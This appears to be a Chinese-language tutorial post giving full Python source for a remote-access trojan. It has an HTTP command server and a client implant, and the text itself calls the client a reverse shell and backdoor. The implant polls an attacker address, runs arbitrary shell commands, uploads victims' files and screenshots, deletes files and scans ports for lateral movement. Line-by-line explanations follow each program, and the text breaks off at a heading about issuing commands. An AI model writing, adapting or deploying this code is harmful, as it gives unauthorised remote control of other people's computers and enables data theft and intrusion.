import http.server
import os,cgi
localhost= '127.0.0.1' #本地IP非公网IP
port= 8081 #監聽端口
class MyHandler(http.server.BaseHTTPRequestHandler):
global hostMachine #上線主機
hostMachine=0
def do_GET(self): #get請求處理
global hostMachine
if hostMachine==0:
hostMachine=1
print('宿主機已上線')
command = input("<Potato>$ ")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode())
if command=='exit':
print('[Result] 該主機已下線')
hostMachine=0
print('\n')
def do_POST(self): #Post請求處理
if self.path == '/tmp':#文件數據處理
try:
ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
if ctype == 'multipart/form-data':
fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
else:
print('[Errot] POST數據格式錯誤')
fs_data = fs['file'].file.read()
fs_name = fs['name'].file.read().decode('gbk')
with open('/s-'+fs_name, 'wb') as o:
print('[Information] 獲取中 ........')
o.write(fs_data)
print('[Result] 已保存至/s-'+fs_name)
self.send_response(200)
self.end_headers()
print('\n')
except Exception as e:
print(e)
return
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-length'])
postVar = self.rfile.read(length)
print(postVar.decode('gbk','ignore'))
if __name__ == "__main__":
httpd = http.server.HTTPServer((localhost, port), MyHandler) #搭建簡易http伺服器
try:
httpd.serve_forever()
except KeyboardInterrupt:
print('\n'+'[Error] 伺服器已關閉')伺服器
服務端代碼這個實現了一個簡單的 HTTP 伺服器,它可以處理 GET 和 POST 請求,並且具有一些基本功能。這個伺服器允許遠程用戶通過 GET 請求發送命令並獲取響應,也可以通過 POST 請求上傳文件。
以下是您的代碼的詳細介紹:
導入模塊和設置監聽地址和端口:
您首先導入了所需的模塊 http.server、os 和 cgi。
定義了本地 IP 地址 localhost 和監聽端口 port。
創建自定義的請求處理類 MyHandler:
MyHandler 類繼承自 http.server.BaseHTTPRequestHandler,用於處理 HTTP 請求。
在 MyHandler 類中,您定義了一個全局變量 hostMachine,用於標記主機的上線狀態。
處理 GET 請求 (do_GET 方法):
當收到 GET 請求時,伺服器會提示用戶輸入命令,並通過標準輸入 (input) 獲取命令。
如果主機之前處於下線狀態,會將其標記為上線狀態,並打印消息。
接收到的命令會以 HTTP 響應的形式發送回客戶端,狀態碼為 200。
如果命令為 "exit",則會打印下線消息並將主機標記為下線狀態。
處理 POST 請求 (do_POST 方法):
如果請求路徑為 "/tmp",則說明客戶端要上傳文件。
檢查請求的 Content-Type,如果是 "multipart/form-data",則使用 cgi.FieldStorage 處理文件上傳。
上傳的文件會保存在伺服器上,文件名以 "/s-" 開頭,並響應客戶端上傳成功的消息。
如果出現異常,會打印錯誤信息。
主程序部分:
在 if name == "main": 部分,您創建了一個簡單的 HTTP 伺服器,綁定到本地 IP 地址和指定的端口。
使用 http.server.HTTPServer 創建伺服器對象,監聽指定地址和端口。
伺服器在一個無限循環中運行,處理客戶端請求,直到捕獲到鍵盤中斷 (Ctrl+C) 時才會關閉伺服器。
import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket
def connect(attackerIp):
while True:
try:
req = requests.get(attackerIp)
command = req.text.strip() # 獲取伺服端命令,並去除首尾空格
# 以下為自定義功能
if command == 'exit': # 退出程序
return 1
elif command.startswith('get'): # 獲取文件
path = command.split(" ")[1]
if os.path.exists(path):
url = f'{attackerIp}/tmp'
files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
r = requests.post(url, files=files)
else:
r = requests.post(url=attackerIp, data='[Error] 指定文件不存在'.encode('gbk'))
elif command == 'screenshot': # 獲取截屏
try:
image = pyscreenshot.grab()
image.save("/kernel.png")
url = f'{attackerIp}/tmp'
files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
r = requests.post(url, files=files)
except Exception as e:
r = requests.post(url=attackerIp, data=str(e).encode('gbk'))
elif command.startswith('remove'): # 移除文件
filename = command.split(' ')[1]
if os.path.exists(filename):
os.remove(filename)
else:
r = requests.post(attackerIp, data="[Error] 文件不存在".encode('gbk'))
elif command.startswith('scan'): # 橫向掃描
try:
scan_result = ''
if len(command.split(" ")) > 2:
scan, ip, port = command.split(" ")
else:
port = command.split(" ")[1]
ip = '127.0.0.1'
scan_result = '\n'
defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200] # 默認掃描端口
port = defPort if port == 'default' else port.split(',') if ',' in port else [port]
for p in port:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(3)
result = sock.connect_ex((ip, int(p)))
if result == 0:
scan_result += f" [開放] {p}\n"
except Exception:
pass
r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
except Exception:
r = requests.post(attackerIp, data="[Error] 掃描端口錯誤".encode('gbk'))
elif command.startswith('cd'): # 切換目錄
directory = command.split(' ')[1]
try:
os.chdir(directory)
r = requests.post(attackerIp,
data=f"[Result] 切換目錄至 {os.getcwd()}".encode('gbk'))
except Exception:
r = requests.post(attackerIp, data="[Error] 無法切換目錄".encode('gbk'))
else: # 非快捷指令,則執行命令
try:
CMD = subprocess.run(command, shell=True, capture_output=True)
r = requests.post(url=attackerIp, data=CMD.stdout)
r = requests.post(url=attackerIp, data=CMD.stderr)
except Exception:
pass
except Exception as e:
pass
if __name__ == '__main__':
attackerIp = 'http://127.0.0.1:8081' # 攻擊者公網IP:監聽端口
while True:
try:
if connect(attackerIp) == 1:
break
except:
time.sleep(int(random.randrange(1, 10))) # 無連接時間隔檢測
客戶端這段代碼實現了一個反向 Shell,也是一个後門程序,它會不斷連接一個攻擊者指定的 IP 地址,然後接收從攻擊者發送的命令並執行對應的操作。
首先,代碼導入了一些需要的庫,包括 requests 用於發送 HTTP 請求,os 用於操作文件和目錄,time 用於設置延遲,random 用於生成隨機數,subprocess 用於執行外部命令,pyscreenshot 用於截屏,socket 用於創建套接字進行端口掃描。
接下來是定義了一個 connect 函數,該函數會不斷循環進行連接和命令執行的操作。在循環內部,使用 requests 庫發送 HTTP GET 請求獲取攻擊者發送的命令,並去除命令字符串兩端的空格。然後根據命令內容執行相應的操作。
命令的解析邏輯如下:
如果命令為 exit,則退出程序。
如果命令以 get 開頭,表示獲取文件,取出命令中的路徑,並檢查文件是否存在。如果文件存在,則使用 requests 庫發送 HTTP POST 請求將文件發送給攻擊者,否則發送錯誤信息。
如果命令為 screenshot,則使用 pyscreenshot 庫進行屏幕截圖,並保存為 "/kernel.png" 文件,然後發送給攻擊者。
如果命令以 remove 開頭,表示移除文件,取出命令中的文件名,並檢查文件是否存在。如果文件存在,則使用 os.remove 函數刪除文件,否則發送錯誤信息。
如果命令以 scan 開頭,表示進行端口掃描。命令可能有兩種形式:scan 或 scan default。根據命令中的參數進行端口掃描,將開放的端口信息發送給攻擊者。
如果命令以 cd 開頭,表示切換目錄,取出命令中的目錄名,並使用 os.chdir 函數切換目錄,然後發送結果給攻擊者。
如果以上條件都不滿足,則將命令交給 subprocess.run 函數執行,並將執行結果發送給攻擊者。
最後,在 if name == 'main': 中,定義了攻擊者的 IP 地址和端口,並通過調用 connect 函數不斷進行連接。如果 connect 函數返回值為 1,則退出程序。在連接失敗時,使用 time.sleep 函數設定隨機的睡眠時間,以避免頻繁連接。
伺服端調用客戶端執行 CMD 命令: